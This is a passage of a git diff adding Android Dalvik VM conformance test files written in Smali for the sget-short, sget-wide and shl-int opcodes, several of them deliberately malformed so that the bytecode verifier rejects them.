+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_5.smali

@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_5.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_5;
+.super  Ljava/lang/Object;
+
+.field public i1:S
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+
+       const v2, 77
+       iput-short v2, v3, Ldot/junit/opcodes/sget_short/d/T_sget_short_5;->i1:S
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       sget-short v1, Ldot/junit/opcodes/sget_short/d/T_sget_short_5;->i1:S
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_6.smali
new file mode 100644
index 0000000..d9985a7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_6.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       sget-short v1, Ldot/junit/opcodes/sget_short/TestStubs;->TestStubField:S
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_7.smali
new file mode 100644
index 0000000..be7b196
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_7.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_7.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       sget-short v1, Ldot/junit/opcodes/sget_short/d/T_sget_short_7no_class;->i1:S
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_8.smali
new file mode 100644
index 0000000..5ef339a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_8.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_8.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       sget-short v1, Ldot/junit/opcodes/sget_short/d/T_sget_short_8;->i1N:S
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_11.smali
new file mode 100644
index 0000000..f053d96
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_11.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_11.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_11;
+.super  Ldot/junit/opcodes/sget_wide/d/T_sget_wide_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_1;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       sget-wide v1, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_1;->p1:J
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_12.smali
new file mode 100644
index 0000000..214a78b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_12.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_12.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_12;
+.super  Ldot/junit/opcodes/sget_wide/d/T_sget_wide_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_1;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       sget-wide v1, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_1;->pvt1:J
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_13.smali
new file mode 100644
index 0000000..f3235d0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_13.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_13.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_13;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_13;->i1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_15.smali
new file mode 100644
index 0000000..ea11edc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_15.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_15.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_15;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_15;->i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_16.smali
new file mode 100644
index 0000000..9efcf92
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_16.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_16.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_16;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_16;->i1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_17.smali
new file mode 100644
index 0000000..c3579c7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_17.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_17.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_17;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_17;->i1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_18.smali
new file mode 100644
index 0000000..fb8d54e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_18.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_18.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_18;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_18;->i1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_19.smali
new file mode 100644
index 0000000..957591b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_19.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_19.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_19;
+.super  Ljava/lang/Object;
+
+.field public static i1:F
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_19;->i1:F
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_2.smali
new file mode 100644
index 0000000..ff08620
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_2.smali

@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_2.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_2;
+.super  Ljava/lang/Object;
+
+.field public static val:D
+
+.method static constructor <clinit>()V
+.registers 2
+       const-wide v0, 123.0
+       sput-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_2;->val:D
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()D
+.registers 4
+
+       sget-wide v1, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_2;->val:D
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_20.smali
new file mode 100644
index 0000000..527111f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_20.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_20.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_20;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_20;->i1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_3.smali
new file mode 100644
index 0000000..6632776
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_3.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_3;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-wide v3, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_3;->i1:J
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_4.smali
new file mode 100644
index 0000000..259465a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_4.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_4.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_4;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       sget-wide v1, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_4;->i1:J
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_5.smali
new file mode 100644
index 0000000..73902bb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_5.smali

@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_5.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_5;
+.super  Ljava/lang/Object;
+
+.field public i1:J
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+
+       const-wide v0, 5
+       iput-wide v0, v3, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_5;->i1:J
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       sget-wide v1, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_5;->i1:J
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_6.smali
new file mode 100644
index 0000000..6371f7b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_6.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       sget-wide v1, Ldot/junit/opcodes/sget_wide/TestStubs;->TestStubField:J
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_7.smali
new file mode 100644
index 0000000..0848fcb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_7.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_7.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       sget-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_7no_class;->i1:J
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_8.smali
new file mode 100644
index 0000000..02bb23d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_8.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_8.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       sget-wide v1, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_8;->i1N:J
+       return-wide v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_1.smali
new file mode 100644
index 0000000..52868d3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_1.smali

@@ -0,0 +1,18 @@
+.source "T_shl_int_1.java"
+.class  public Ldot/junit/opcodes/shl_int/d/T_shl_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shl-int v0, v6, v7
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_2.smali
new file mode 100644
index 0000000..44d6d46
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_2.smali

@@ -0,0 +1,18 @@
+.source "T_shl_int_2.java"
+.class  public Ldot/junit/opcodes/shl_int/d/T_shl_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shl-int v0, v7, v8
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_3.smali
new file mode 100644
index 0000000..54208f4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_3.smali

@@ -0,0 +1,18 @@
+.source "T_shl_int_3.java"
+.class  public Ldot/junit/opcodes/shl_int/d/T_shl_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)I
+.registers 8
+
+       shl-int v0, v5, v7
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_4.smali
new file mode 100644
index 0000000..0cff446
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_4.smali

@@ -0,0 +1,18 @@
+.source "T_shl_int_4.java"
+.class  public Ldot/junit/opcodes/shl_int/d/T_shl_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       shl-int v0, v5, v7
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_5.smali
new file mode 100644
index 0000000..86b7d41
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_5.smali

@@ -0,0 +1,18 @@
+.source "T_shl_int_5.java"
+.class  public Ldot/junit/opcodes/shl_int/d/T_shl_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
